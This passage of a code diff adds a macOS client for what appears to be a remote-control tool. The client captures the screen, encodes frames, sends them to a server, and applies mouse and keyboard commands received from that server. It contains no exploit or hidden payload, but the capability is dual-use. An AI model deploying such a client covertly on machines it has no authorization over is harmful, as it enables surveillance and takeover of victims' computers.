H264Encoder.h/mm - VideoToolbox H264 encoder
|
||||
SystemManager.h/mm - Process management
|
||||
main.mm - Entry point, LOGIN_INFOR, heartbeat
|
||||
|
||||
Quality Levels:
|
||||
Level 0: 5 FPS, Grayscale (emergency low bandwidth)
|
||||
Level 1: 10 FPS, RGB565
|
||||
Level 2: 15 FPS, H264 (default, office work)
|
||||
Level 3: 20 FPS, H264
|
||||
Level 4: 25 FPS, H264
|
||||
Level 5: 30 FPS, H264 (smooth)
|
||||
|
||||
Notes:
|
||||
- First frame is always raw bitmap (TOKEN_FIRSTSCREEN)
|
||||
- Subsequent frames use H264 encoding (TOKEN_NEXTSCREEN)
|
||||
- Coordinates are scaled for Retina displays automatically
|
||||
- Windows VK codes are mapped to macOS key codes
|
||||
135
macos/ScreenHandler.h
Normal file
135
macos/ScreenHandler.h
Normal file
@@ -0,0 +1,135 @@
|
||||
#pragma once
|
||||
|
||||
#import <CoreGraphics/CoreGraphics.h>
|
||||
#import <dispatch/dispatch.h>
|
||||
#import "../client/IOCPClient.h"
|
||||
#include <vector>
|
||||
#include <atomic>
|
||||
#include <mutex>
|
||||
#include <thread>
|
||||
#include <cstdint>
|
||||
#include <memory>
|
||||
|
||||
// Forward declarations
|
||||
class IOCPClient;
|
||||
class H264Encoder;
|
||||
class InputHandler;
|
||||
|
||||
// macOS BITMAPINFOHEADER (compatible with Windows)
|
||||
#pragma pack(push, 1)
|
||||
struct BITMAPINFOHEADER_MAC {
|
||||
uint32_t biSize; // 40
|
||||
int32_t biWidth;
|
||||
int32_t biHeight;
|
||||
uint16_t biPlanes; // 1
|
||||
uint16_t biBitCount; // 32
|
||||
uint32_t biCompression; // 0 (BI_RGB)
|
||||
uint32_t biSizeImage;
|
||||
int32_t biXPelsPerMeter; // 0
|
||||
int32_t biYPelsPerMeter; // 0
|
||||
uint32_t biClrUsed; // 0
|
||||
uint32_t biClrImportant; // 0
|
||||
};
|
||||
#pragma pack(pop)
|
||||
|
||||
// Screen algorithm constants
|
||||
#define ALGORITHM_GRAY 0
|
||||
#define ALGORITHM_DIFF 1
|
||||
#define ALGORITHM_H264 2
|
||||
#define ALGORITHM_RGB565 3
|
||||
|
||||
class ScreenHandler : public IOCPManager {
|
||||
public:
|
||||
ScreenHandler(IOCPClient* client);
|
||||
~ScreenHandler();
|
||||
|
||||
// Initialize screen capture (returns false if permission denied)
|
||||
bool init();
|
||||
|
||||
// Start/stop capture loop
|
||||
void start(IOCPClient* client, uint64_t clientID);
|
||||
void stop();
|
||||
|
||||
// Check if running
|
||||
bool isRunning() const { return m_running; }
|
||||
|
||||
// Get screen dimensions
|
||||
int getWidth() const { return m_width; }
|
||||
int getHeight() const { return m_height; }
|
||||
|
||||
// Send bitmap info to server (called after connection)
|
||||
void sendBitmapInfo();
|
||||
|
||||
// Handle received commands
|
||||
void OnReceive(uint8_t* data, ULONG size);
|
||||
|
||||
// Apply quality level
|
||||
void applyQualityLevel(int8_t level, bool persist = false);
|
||||
|
||||
private:
|
||||
// Capture the screen (returns BGRA data, bottom-up)
|
||||
bool captureScreen(std::vector<uint8_t>& buffer);
|
||||
|
||||
// Send first full screen frame
|
||||
void sendFirstScreen();
|
||||
|
||||
// Send differential frame
|
||||
void sendDiffFrame();
|
||||
|
||||
// Send H264 encoded frame
|
||||
void sendH264Frame(bool keyframe);
|
||||
|
||||
// Compare bitmaps and generate diff data
|
||||
uint32_t compareBitmap(const uint8_t* curr, const uint8_t* prev,
|
||||
uint8_t* outBuf, uint32_t totalBytes, uint8_t algo);
|
||||
|
||||
// Color conversion helpers
|
||||
void convertBGRAtoGray(const uint8_t* src, uint8_t* dst, uint32_t pixelCount);
|
||||
void convertBGRAtoRGB565(const uint8_t* src, uint16_t* dst, uint32_t pixelCount);
|
||||
|
||||
// Capture loop thread function
|
||||
void captureLoop();
|
||||
|
||||
// Get current time in milliseconds
|
||||
static uint64_t getTickMs();
|
||||
|
||||
// Get current cursor position (in physical pixels)
|
||||
void getCursorPosition(int32_t& x, int32_t& y);
|
||||
|
||||
// Get current cursor type index (matches Windows cursor indices)
|
||||
uint8_t getCursorTypeIndex();
|
||||
|
||||
private:
|
||||
IOCPClient* m_client;
|
||||
uint64_t m_clientID;
|
||||
|
||||
std::atomic<bool> m_running;
|
||||
std::thread m_captureThread;
|
||||
std::mutex m_mutex;
|
||||
|
||||
// Screen info
|
||||
int m_width; // Physical pixel width (sent to server)
|
||||
int m_height; // Physical pixel height (sent to server)
|
||||
int m_logicalWidth; // Logical point width (for CGEvent)
|
||||
int m_logicalHeight; // Logical point height (for CGEvent)
|
||||
double m_scaleFactor; // Retina scale factor (physical / logical)
|
||||
CGDirectDisplayID m_displayID;
|
||||
|
||||
// Protocol
|
||||
BITMAPINFOHEADER_MAC m_bmpHeader;
|
||||
std::vector<uint8_t> m_prevFrame;
|
||||
std::vector<uint8_t> m_currFrame;
|
||||
std::vector<uint8_t> m_diffBuffer;
|
||||
|
||||
// Quality settings
|
||||
std::atomic<uint8_t> m_algorithm;
|
||||
std::atomic<int> m_maxFPS;
|
||||
int8_t m_qualityLevel;
|
||||
|
||||
// H264 encoder
|
||||
std::unique_ptr<H264Encoder> m_h264Encoder;
|
||||
int m_h264Bitrate;
|
||||
|
||||
// Input handler for mouse/keyboard control
|
||||
std::unique_ptr<InputHandler> m_inputHandler;
|
||||
};
|
||||
691
macos/ScreenHandler.mm
Normal file
691
macos/ScreenHandler.mm
Normal file
@@ -0,0 +1,691 @@
|
||||
#import "ScreenHandler.h"
|
||||
#import "H264Encoder.h"
|
||||
#import "InputHandler.h"
|
||||
#import "../client/IOCPClient.h"
|
||||
#import "../common/commands.h"
|
||||
#import "Permissions.h"
|
||||
#import <Cocoa/Cocoa.h>
|
||||
#import <CoreGraphics/CoreGraphics.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
#import <mach/mach_time.h>
|
||||
|
||||
// Global client ID (calculated in main.mm)
|
||||
extern uint64_t g_myClientID;
|
||||
|
||||
ScreenHandler::ScreenHandler(IOCPClient* client)
|
||||
: m_client(client)
|
||||
, m_clientID(0)
|
||||
, m_running(false)
|
||||
, m_width(0)
|
||||
, m_height(0)
|
||||
, m_logicalWidth(0)
|
||||
, m_logicalHeight(0)
|
||||
, m_scaleFactor(1.0)
|
||||
, m_displayID(CGMainDisplayID())
|
||||
, m_algorithm(ALGORITHM_H264)
|
||||
, m_maxFPS(15)
|
||||
, m_qualityLevel(QUALITY_GOOD) // Use fixed QUALITY_GOOD (H264) for web compatibility
|
||||
, m_h264Bitrate(3000000) // 3 Mbps (matches Windows QUALITY_GOOD)
|
||||
{
|
||||
memset(&m_bmpHeader, 0, sizeof(m_bmpHeader));
|
||||
|
||||
// Initialize input handler for mouse/keyboard control
|
||||
m_inputHandler = std::make_unique<InputHandler>();
|
||||
if (m_inputHandler->init()) {
|
||||
NSLog(@"InputHandler initialized with accessibility permission");
|
||||
} else {
|
||||
NSLog(@"InputHandler: waiting for accessibility permission");
|
||||
}
|
||||
}
|
||||
|
||||
ScreenHandler::~ScreenHandler()
|
||||
{
|
||||
stop();
|
||||
}
|
||||
|
||||
bool ScreenHandler::init()
|
||||
{
|
||||
// Check permissions
|
||||
if (!Permissions::checkScreenCapture()) {
|
||||
NSLog(@"Screen capture permission not granted");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Get main display info
|
||||
m_displayID = CGMainDisplayID();
|
||||
|
||||
// Get physical pixel dimensions (what we capture and send)
|
||||
CGDisplayModeRef mode = CGDisplayCopyDisplayMode(m_displayID);
|
||||
if (mode) {
|
||||
m_width = (int)CGDisplayModeGetPixelWidth(mode);
|
||||
m_height = (int)CGDisplayModeGetPixelHeight(mode);
|
||||
CGDisplayModeRelease(mode);
|
||||
} else {
|
||||
m_width = (int)CGDisplayPixelsWide(m_displayID);
|
||||
m_height = (int)CGDisplayPixelsHigh(m_displayID);
|
||||
}
|
||||
|
||||
// Get logical point dimensions (what CGEvent uses)
|
||||
// NSScreen provides logical dimensions
|
||||
NSScreen* mainScreen = [NSScreen mainScreen];
|
||||
if (mainScreen) {
|
||||
NSRect frame = [mainScreen frame];
|
||||
m_logicalWidth = (int)frame.size.width;
|
||||
m_logicalHeight = (int)frame.size.height;
|
||||
} else {
|
||||
// Fallback: use physical dimensions
|
||||
m_logicalWidth = m_width;
|
||||
m_logicalHeight = m_height;
|
||||
}
|
||||
|
||||
// Calculate scale factor (Retina displays have factor > 1.0)
|
||||
m_scaleFactor = (double)m_width / (double)m_logicalWidth;
|
||||
|
||||
NSLog(@"Screen dimensions: physical=%dx%d, logical=%dx%d, scale=%.2f",
|
||||
m_width, m_height, m_logicalWidth, m_logicalHeight, m_scaleFactor);
|
||||
|
||||
if (m_width <= 0 || m_height <= 0) {
|
||||
NSLog(@"Invalid screen dimensions: %dx%d", m_width, m_height);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Initialize BITMAPINFOHEADER
|
||||
m_bmpHeader.biSize = sizeof(BITMAPINFOHEADER_MAC);
|
||||
m_bmpHeader.biWidth = m_width;
|
||||
m_bmpHeader.biHeight = m_height;
|
||||
m_bmpHeader.biPlanes = 1;
|
||||
m_bmpHeader.biBitCount = 32;
|
||||
m_bmpHeader.biCompression = 0; // BI_RGB
|
||||
m_bmpHeader.biSizeImage = m_width * m_height * 4;
|
||||
|
||||
// Allocate frame buffers
|
||||
m_prevFrame.resize(m_bmpHeader.biSizeImage, 0);
|
||||
m_currFrame.resize(m_bmpHeader.biSizeImage, 0);
|
||||
m_diffBuffer.resize(1 + 1 + 8 + 1 + m_bmpHeader.biSizeImage * 2);
|
||||
|
||||
NSLog(@"ScreenHandler initialized: %dx%d", m_width, m_height);
|
||||
return true;
|
||||
}
|
||||
|
||||
void ScreenHandler::start(IOCPClient* client, uint64_t clientID)
|
||||
{
|
||||
if (m_running) return;
|
||||
|
||||
m_client = client;
|
||||
m_clientID = clientID;
|
||||
m_running = true;
|
||||
|
||||
m_captureThread = std::thread(&ScreenHandler::captureLoop, this);
|
||||
}
|
||||
|
||||
void ScreenHandler::stop()
|
||||
{
|
||||
m_running = false;
|
||||
if (m_captureThread.joinable()) {
|
||||
m_captureThread.join();
|
||||
}
|
||||
|
||||
// Close H264 encoder if open
|
||||
if (m_h264Encoder) {
|
||||
m_h264Encoder->close();
|
||||
m_h264Encoder.reset();
|
||||
}
|
||||
}
|
||||
|
||||
void ScreenHandler::sendBitmapInfo()
|
||||
{
|
||||
if (!m_client) return;
|
||||
|
||||
// Build packet: [TOKEN_BITMAPINFO][BITMAPINFOHEADER][clientID][reserved][ScreenSettings]
|
||||
// ScreenSettings defined in commands.h (100 bytes), QualityLevel at offset 32
|
||||
|
||||
const uint32_t len = 1 + sizeof(BITMAPINFOHEADER_MAC) + 2 * sizeof(uint64_t) + sizeof(ScreenSettings);
|
||||
std::vector<uint8_t> buf(len, 0);
|
||||
|
||||
buf[0] = TOKEN_BITMAPINFO;
|
||||
memcpy(&buf[1], &m_bmpHeader, sizeof(BITMAPINFOHEADER_MAC));
|
||||
uint64_t clientID = g_myClientID;
|
||||
memcpy(&buf[1 + sizeof(BITMAPINFOHEADER_MAC)], &clientID, sizeof(uint64_t));
|
||||
|
||||
ScreenSettings settings = {};
|
||||
settings.MaxFPS = m_maxFPS.load();
|
||||
settings.QualityLevel = m_qualityLevel; // Fixed quality level (e.g., QUALITY_GOOD = 2)
|
||||
memcpy(&buf[1 + sizeof(BITMAPINFOHEADER_MAC) + 2 * sizeof(uint64_t)], &settings, sizeof(ScreenSettings));
|
||||
|
||||
m_client->Send2Server((char*)buf.data(), len);
|
||||
NSLog(@"SendBitmapInfo: clientID=%llu, QualityLevel=%d, SettingsSize=%zu",
|
||||
clientID, m_qualityLevel, sizeof(ScreenSettings));
|
||||
}
|
||||
|
||||
void ScreenHandler::OnReceive(uint8_t* data, ULONG size)
|
||||
{
|
||||
if (!size) return;
|
||||
|
||||
switch (data[0]) {
|
||||
case COMMAND_NEXT:
|
||||
// Server ready, handled externally
|
||||
NSLog(@"Received COMMAND_NEXT from server");
|
||||
if (!m_running) {
|
||||
start(m_client, g_myClientID);
|
||||
}
|
||||
break;
|
||||
|
||||
case COMMAND_SCREEN_CONTROL:
|
||||
// Handle mouse/keyboard control commands
|
||||
// Protocol: [COMMAND_SCREEN_CONTROL:1][MSG64:48]
|
||||
if (size >= 1 + sizeof(MSG64_MAC) && m_inputHandler) {
|
||||
MSG64_MAC msg;
|
||||
memcpy(&msg, data + 1, sizeof(MSG64_MAC));
|
||||
|
||||
// Convert physical pixel coordinates to logical point coordinates
|
||||
// Server sends coordinates in physical pixels (matching our captured screen)
|
||||
// CGEvent expects logical points (for Retina displays, physical/scale)
|
||||
if (m_scaleFactor > 1.0) {
|
||||
// Extract coordinates from lParam (MAKELPARAM format: low=x, high=y)
|
||||
int x = (int)(msg.lParam & 0xFFFF);
|
||||
int y = (int)((msg.lParam >> 16) & 0xFFFF);
|
||||
|
||||
// Scale down to logical coordinates
|
||||
x = (int)(x / m_scaleFactor);
|
||||
y = (int)(y / m_scaleFactor);
|
||||
|
||||
// Update lParam with scaled coordinates
|
||||
msg.lParam = (uint64_t)x | ((uint64_t)y << 16);
|
||||
msg.pt_x = x;
|
||||
msg.pt_y = y;
|
||||
}
|
||||
|
||||
m_inputHandler->handleInputEvent(&msg);
|
||||
}
|
||||
break;
|
||||
|
||||
case CMD_QUALITY_LEVEL:
|
||||
if (size >= 2) {
|
||||
int8_t level = (int8_t)data[1];
|
||||
bool persist = (size >= 3) ? data[2] : false;
|
||||
applyQualityLevel(level, persist);
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void ScreenHandler::applyQualityLevel(int8_t level, bool persist)
|
||||
{
|
||||
m_qualityLevel = level;
|
||||
|
||||
if (level == QUALITY_DISABLED) {
|
||||
NSLog(@"Quality: Disabled");
|
||||
return;
|
||||
}
|
||||
|
||||
// Quality profiles: [FPS, Algorithm]
|
||||
// H264 provides best compression for remote desktop
|
||||
// Note: macOS uses slightly higher FPS than Windows for smoother experience
|
||||
static const int profiles[QUALITY_COUNT][2] = {
|
||||
{5, ALGORITHM_GRAY}, // Level 0: Emergency (very low bandwidth)
|
||||
{10, ALGORITHM_RGB565}, // Level 1: Low
|
||||
{15, ALGORITHM_H264}, // Level 2: Medium (office work default)
|
||||
{20, ALGORITHM_H264}, // Level 3: Good
|
||||
{25, ALGORITHM_H264}, // Level 4: High
|
||||
{30, ALGORITHM_H264}, // Level 5: Smooth
|
||||
};
|
||||
|
||||
if (level >= 0 && level < QUALITY_COUNT) {
|
||||
m_maxFPS.store(profiles[level][0]);
|
||||
m_algorithm.store(profiles[level][1]);
|
||||
NSLog(@"Quality: Level=%d, FPS=%d, Algo=%d", level, profiles[level][0], profiles[level][1]);
|
||||
} else {
|
||||
NSLog(@"Quality: Adaptive mode");
|
||||
}
|
||||
}
|
||||
|
||||
bool ScreenHandler::captureScreen(std::vector<uint8_t>& buffer)
|
||||
{
|
||||
// Create image from display
|
||||
CGImageRef image = CGDisplayCreateImage(m_displayID);
|
||||
if (!image) {
|
||||
NSLog(@"Failed to capture screen image");
|
||||
return false;
|
||||
}
|
||||
|
||||
size_t width = CGImageGetWidth(image);
|
||||
size_t height = CGImageGetHeight(image);
|
||||
|
||||
if (width != (size_t)m_width || height != (size_t)m_height) {
|
||||
// Screen resolution changed, need to reinitialize
|
||||
CGImageRelease(image);
|
||||
NSLog(@"Screen resolution changed: %zux%zu", width, height);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Create bitmap context to get raw pixel data
|
||||
CGColorSpaceRef colorSpace = CGColorSpaceCreateDeviceRGB();
|
||||
size_t bytesPerRow = width * 4;
|
||||
|
||||
// Temporary buffer for top-down BGRA
|
||||
std::vector<uint8_t> tempBuffer(bytesPerRow * height);
|
||||
|
||||
CGContextRef context = CGBitmapContextCreate(
|
||||
tempBuffer.data(),
|
||||
width,
|
||||
height,
|
||||
8,
|
||||
bytesPerRow,
|
||||
colorSpace,
|
||||
kCGImageAlphaPremultipliedFirst | kCGBitmapByteOrder32Little // BGRA
|
||||
);
|
||||
|
||||
CGColorSpaceRelease(colorSpace);
|
||||
|
||||
if (!context) {
|
||||
CGImageRelease(image);
|
||||
NSLog(@"Failed to create bitmap context");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Draw image into context
|
||||
CGContextDrawImage(context, CGRectMake(0, 0, width, height), image);
|
||||
CGContextRelease(context);
|
||||
CGImageRelease(image);
|
||||
|
||||
// Flip vertically (BMP is bottom-up, CGImage is top-down)
|
||||
for (size_t y = 0; y < height; y++) {
|
||||
size_t srcRow = y;
|
||||
size_t dstRow = height - 1 - y;
|
||||
memcpy(buffer.data() + dstRow * bytesPerRow,
|
||||
tempBuffer.data() + srcRow * bytesPerRow,
|
||||
bytesPerRow);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void ScreenHandler::sendFirstScreen()
|
||||
{
|
||||
if (!captureScreen(m_currFrame)) return;
|
||||
if (!m_client) return;
|
||||
|
||||
uint32_t imgSize = m_bmpHeader.biSizeImage;
|
||||
std::vector<uint8_t> buf(1 + imgSize);
|
||||
buf[0] = TOKEN_FIRSTSCREEN;
|
||||
memcpy(&buf[1], m_currFrame.data(), imgSize);
|
||||
|
||||
m_client->Send2Server((char*)buf.data(), buf.size());
|
||||
|
||||
// Save as previous frame
|
||||
m_prevFrame = m_currFrame;
|
||||
}
|
||||
|
||||
void ScreenHandler::sendDiffFrame()
|
||||
{
|
||||
if (!captureScreen(m_currFrame)) return;
|
||||
if (!m_client) return;
|
||||
|
||||
uint8_t* out = m_diffBuffer.data();
|
||||
out[0] = TOKEN_NEXTSCREEN;
|
||||
uint8_t* data = out + 1;
|
||||
|
||||
// Write algorithm type
|
||||
uint8_t algo = m_algorithm.load();
|
||||
memcpy(data, &algo, sizeof(uint8_t));
|
||||
|
||||
// Write cursor position
|
||||
int32_t cursorX, cursorY;
|
||||
getCursorPosition(cursorX, cursorY);
|
||||
memcpy(data + 1, &cursorX, sizeof(int32_t));
|
||||
memcpy(data + 1 + sizeof(int32_t), &cursorY, sizeof(int32_t));
|
||||
|
||||
// Write cursor type
|
||||
uint8_t cursorType = getCursorTypeIndex();
|
||||
memcpy(data + 1 + 2 * sizeof(int32_t), &cursorType, sizeof(uint8_t));
|
||||
|
||||
uint32_t headerSize = 1 + 2 * sizeof(int32_t) + 1;
|
||||
uint8_t* diffData = data + headerSize;
|
||||
uint32_t diffLen = compareBitmap(m_currFrame.data(), m_prevFrame.data(),
|
||||
diffData, m_bmpHeader.biSizeImage, algo);
|
||||
|
||||
uint32_t totalLen = 1 + headerSize + diffLen;
|
||||
m_client->Send2Server((char*)out, totalLen);
|
||||
|
||||
// Update previous frame
|
||||
std::swap(m_prevFrame, m_currFrame);
|
||||
}
|
||||
|
||||
void ScreenHandler::sendH264Frame(bool keyframe)
|
||||
{
|
||||
if (!captureScreen(m_currFrame)) return;
|
||||
if (!m_client) return;
|
||||
|
||||
// Initialize encoder if needed
|
||||
if (!m_h264Encoder) {
|
||||
m_h264Encoder = std::make_unique<H264Encoder>();
|
||||
int fps = m_maxFPS.load();
|
||||
if (fps <= 0) fps = 30;
|
||||
if (!m_h264Encoder->open(m_width, m_height, fps, m_h264Bitrate)) {
|
||||
NSLog(@"Failed to initialize H264 encoder: %s", m_h264Encoder->getLastError());
|
||||
m_h264Encoder.reset();
|
||||
return;
|
||||
}
|
||||
NSLog(@"H264 encoder initialized: %dx%d @ %d fps", m_width, m_height, fps);
|
||||
}
|
||||
|
||||
// Force keyframe if requested
|
||||
if (keyframe) {
|
||||
m_h264Encoder->forceKeyframe();
|
||||
}
|
||||
|
||||
// Encode frame
|
||||
uint8_t* encodedData = nullptr;
|
||||
uint32_t encodedSize = 0;
|
||||
uint32_t stride = m_width * 4;
|
||||
|
||||
int result = m_h264Encoder->encode(
|
||||
m_currFrame.data(),
|
||||
32, // bpp
|
||||
stride,
|
||||
m_width,
|
||||
m_height,
|
||||
&encodedData,
|
||||
&encodedSize,
|
||||
false // Don't flip - keep bottom-up format like Windows client
|
||||
);
|
||||
|
||||
if (result <= 0 || !encodedData || encodedSize == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Build packet: [TOKEN_NEXTSCREEN][ALGORITHM_H264][CursorX][CursorY][CursorType][H264Data]
|
||||
// Note: H264 always uses TOKEN_NEXTSCREEN because:
|
||||
// - Server's TOKEN_KEYFRAME handler does nothing for H264 (just break)
|
||||
// - Server's TOKEN_NEXTSCREEN handler calls Decode() for H264
|
||||
// - H264 encoder manages keyframes (I-frames) internally
|
||||
// - FFmpeg decoder auto-detects I-frames vs P-frames
|
||||
uint32_t headerSize = 1 + 1 + 2 * sizeof(int32_t) + 1;
|
||||
std::vector<uint8_t> packet(headerSize + encodedSize);
|
||||
|
||||
packet[0] = TOKEN_NEXTSCREEN;
|
||||
packet[1] = ALGORITHM_H264;
|
||||
|
||||
// Cursor position
|
||||
int32_t cursorX, cursorY;
|
||||
getCursorPosition(cursorX, cursorY);
|
||||
memcpy(&packet[2], &cursorX, sizeof(int32_t));
|
||||
memcpy(&packet[2 + sizeof(int32_t)], &cursorY, sizeof(int32_t));
|
||||
|
||||
// Cursor type
|
||||
packet[2 + 2 * sizeof(int32_t)] = getCursorTypeIndex();
|
||||
|
||||
// H264 data
|
||||
memcpy(&packet[headerSize], encodedData, encodedSize);
|
||||
|
||||
m_client->Send2Server((char*)packet.data(), packet.size());
|
||||
}
|
||||
|
||||
uint32_t ScreenHandler::compareBitmap(const uint8_t* curr, const uint8_t* prev,
|
||||
uint8_t* outBuf, uint32_t totalBytes, uint8_t algo)
|
||||
{
|
||||
const uint32_t bytesPerPixel = 4;
|
||||
const uint32_t totalPixels = totalBytes / bytesPerPixel;
|
||||
const uint32_t gapThreshold = 8;
|
||||
const uint32_t ratio = (algo == ALGORITHM_GRAY || algo == ALGORITHM_RGB565) ? 4 : 1;
|
||||
|
||||
uint32_t outOffset = 0;
|
||||
uint32_t i = 0;
|
||||
|
||||
while (i < totalPixels) {
|
||||
// Skip identical pixels
|
||||
while (i < totalPixels &&
|
||||
*(uint32_t*)(curr + i * 4) == *(uint32_t*)(prev + i * 4)) {
|
||||
i++;
|
||||
}
|
||||
if (i >= totalPixels) break;
|
||||
|
||||
uint32_t start = i;
|
||||
uint32_t lastDiff = i;
|
||||
|
||||
while (i < totalPixels) {
|
||||
if (*(uint32_t*)(curr + i * 4) != *(uint32_t*)(prev + i * 4)) {
|
||||
lastDiff = i;
|
||||
} else if (i - lastDiff > gapThreshold) {
|
||||
break;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
uint32_t end = lastDiff + 1;
|
||||
uint32_t count = end - start;
|
||||
uint32_t byteOffset = start * bytesPerPixel;
|
||||
uint32_t byteCount = count * bytesPerPixel;
|
||||
|
||||
// Write byteOffset
|
||||
memcpy(outBuf + outOffset, &byteOffset, sizeof(uint32_t));
|
||||
outOffset += sizeof(uint32_t);
|
||||
|
||||
// Write length
|
||||
uint32_t lengthField = byteCount / ratio;
|
||||
memcpy(outBuf + outOffset, &lengthField, sizeof(uint32_t));
|
||||
outOffset += sizeof(uint32_t);
|
||||
|
||||
// Write pixel data
|
||||
const uint8_t* srcData = curr + byteOffset;
|
||||
if (algo == ALGORITHM_RGB565) {
|
||||
convertBGRAtoRGB565(srcData, (uint16_t*)(outBuf + outOffset), count);
|
||||
outOffset += count * 2;
|
||||
} else if (algo == ALGORITHM_GRAY) {
|
||||
convertBGRAtoGray(srcData, outBuf + outOffset, count);
|
||||
outOffset += count;
|
||||
} else {
|
||||
memcpy(outBuf + outOffset, srcData, byteCount);
|
||||
outOffset += byteCount;
|
||||
}
|
||||
}
|
||||
|
||||
return outOffset;
|
||||
}
|
||||
|
||||
void ScreenHandler::convertBGRAtoGray(const uint8_t* src, uint8_t* dst, uint32_t pixelCount)
|
||||
{
|
||||
for (uint32_t i = 0; i < pixelCount; i++) {
|
||||
uint8_t b = src[i * 4 + 0];
|
||||
uint8_t g = src[i * 4 + 1];
|
||||
uint8_t r = src[i * 4 + 2];
|
||||
dst[i] = (uint8_t)((306 * r + 601 * g + 117 * b) >> 10);
|
||||
}
|
||||
}
|
||||
|
||||
void ScreenHandler::convertBGRAtoRGB565(const uint8_t* src, uint16_t* dst, uint32_t pixelCount)
|
||||
{
|
||||
for (uint32_t i = 0; i < pixelCount; i++) {
|
||||
uint8_t b = src[i * 4 + 0];
|
||||
uint8_t g = src[i * 4 + 1];
|
||||
uint8_t r = src[i * 4 + 2];
|
||||
uint16_t r5 = (r >> 3) & 0x1F;
|
||||
uint16_t g6 = (g >> 2) & 0x3F;
|
||||
uint16_t b5 = (b >> 3) & 0x1F;
|
||||
dst[i] = (r5 << 11) | (g6 << 5) | b5;
|
||||
}
|
||||
}
|
||||
|
||||
uint64_t ScreenHandler::getTickMs()
|
||||
{
|
||||
static mach_timebase_info_data_t timebase = {0, 0};
|
||||
if (timebase.denom == 0) {
|
||||
mach_timebase_info(&timebase);
|
||||
}
|
||||
uint64_t now = mach_absolute_time();
|
||||
return (now * timebase.numer / timebase.denom) / 1000000;
|
||||
}
|
||||
|
||||
// Cached logical cursor position (shared between getCursorPosition and getCursorTypeIndex)
|
||||
static CGPoint s_cachedLogicalPos = {0, 0};
|
||||
|
||||
void ScreenHandler::getCursorPosition(int32_t& x, int32_t& y)
|
||||
{
|
||||
// Get cursor position in logical (point) coordinates
|
||||
CGEventRef event = CGEventCreate(nullptr);
|
||||
s_cachedLogicalPos = CGEventGetLocation(event);
|
||||
CFRelease(event);
|
||||
|
||||
// Convert to physical pixel coordinates (for Retina displays)
|
||||
x = (int32_t)(s_cachedLogicalPos.x * m_scaleFactor);
|
||||
y = (int32_t)(s_cachedLogicalPos.y * m_scaleFactor);
|
||||
|
||||
// Clamp to screen bounds
|
||||
if (x < 0) x = 0;
|
||||
if (y < 0) y = 0;
|
||||
if (x >= m_width) x = m_width - 1;
|
||||
if (y >= m_height) y = m_height - 1;
|
||||
}
|
||||
|
||||
uint8_t ScreenHandler::getCursorTypeIndex()
|
||||
{
|
||||
// Windows cursor type indices (from CursorInfo.h):
|
||||
// 0: IDC_APPSTARTING, 1: IDC_ARROW, 2: IDC_CROSS, 3: IDC_HAND,
|
||||
// 4: IDC_HELP, 5: IDC_IBEAM, 6: IDC_ICON, 7: IDC_NO,
|
||||
// 8: IDC_SIZE, 9: IDC_SIZEALL, 10: IDC_SIZENESW, 11: IDC_SIZENS,
|
||||
// 12: IDC_SIZENWSE, 13: IDC_SIZEWE, 14: IDC_UPARROW, 15: IDC_WAIT
|
||||
|
||||
// NSCursor.currentSystemCursor doesn't work for background daemons.
|
||||
// Use Accessibility API to infer cursor type from the UI element under cursor.
|
||||
// Throttle to avoid performance impact (check every 100ms)
|
||||
|
||||
static uint8_t cachedIndex = 1;
|
||||
static uint64_t lastCheckTime = 0;
|
||||
static CGPoint lastPos = {-1, -1};
|
||||
|
||||
// Reuse cursor position from getCursorPosition (called before this)
|
||||
CGPoint pos = s_cachedLogicalPos;
|
||||
|
||||
// Throttle: only check if cursor moved significantly or 100ms elapsed
|
||||
uint64_t now = getTickMs();
|
||||
bool posChanged = (fabs(pos.x - lastPos.x) > 5 || fabs(pos.y - lastPos.y) > 5);
|
||||
if (!posChanged && (now - lastCheckTime) < 100) {
|
||||
return cachedIndex;
|
||||
}
|
||||
lastCheckTime = now;
|
||||
lastPos = pos;
|
||||
|
||||
uint8_t index = 1; // Default to arrow
|
||||
|
||||
// Get the UI element at cursor position using Accessibility API
|
||||
AXUIElementRef systemWide = AXUIElementCreateSystemWide();
|
||||
AXUIElementRef element = nullptr;
|
||||
|
||||
AXError err = AXUIElementCopyElementAtPosition(systemWide, (float)pos.x, (float)pos.y, &element);
|
||||
CFRelease(systemWide);
|
||||
|
||||
if (err == kAXErrorSuccess && element) {
|
||||
// Get the role of the element
|
||||
CFTypeRef roleRef = nullptr;
|
||||
if (AXUIElementCopyAttributeValue(element, kAXRoleAttribute, &roleRef) == kAXErrorSuccess && roleRef) {
|
||||
NSString* role = (__bridge NSString*)roleRef;
|
||||
|
||||
// Map UI element roles to cursor types
|
||||
if ([role isEqualToString:NSAccessibilityTextFieldRole] ||
|
||||
[role isEqualToString:NSAccessibilityTextAreaRole] ||
|
||||
[role isEqualToString:NSAccessibilityStaticTextRole] ||
|
||||
[role isEqualToString:@"AXWebArea"]) {
|
||||
// Check if text is editable
|
||||
CFTypeRef editableRef = nullptr;
|
||||
if (AXUIElementCopyAttributeValue(element, CFSTR("AXEditable"), &editableRef) == kAXErrorSuccess) {
|
||||
if (editableRef && CFBooleanGetValue((CFBooleanRef)editableRef)) {
|
||||
index = 5; // IDC_IBEAM for editable text
|
||||
}
|
||||
if (editableRef) CFRelease(editableRef);
|
||||
} else if ([role isEqualToString:NSAccessibilityTextFieldRole] ||
|
||||
[role isEqualToString:NSAccessibilityTextAreaRole]) {
|
||||
index = 5; // IDC_IBEAM for text input fields
|
||||
}
|
||||
} else if ([role isEqualToString:NSAccessibilityLinkRole] ||
|
||||
[role isEqualToString:@"AXLink"]) {
|
||||
index = 3; // IDC_HAND for links
|
||||
} else if ([role isEqualToString:NSAccessibilityButtonRole]) {
|
||||
index = 3; // IDC_HAND for buttons (clickable)
|
||||
} else if ([role isEqualToString:NSAccessibilitySplitterRole] ||
|
||||
[role isEqualToString:@"AXSplitGroup"]) {
|
||||
// Check orientation for resize cursor
|
||||
CFTypeRef orientRef = nullptr;
|
||||
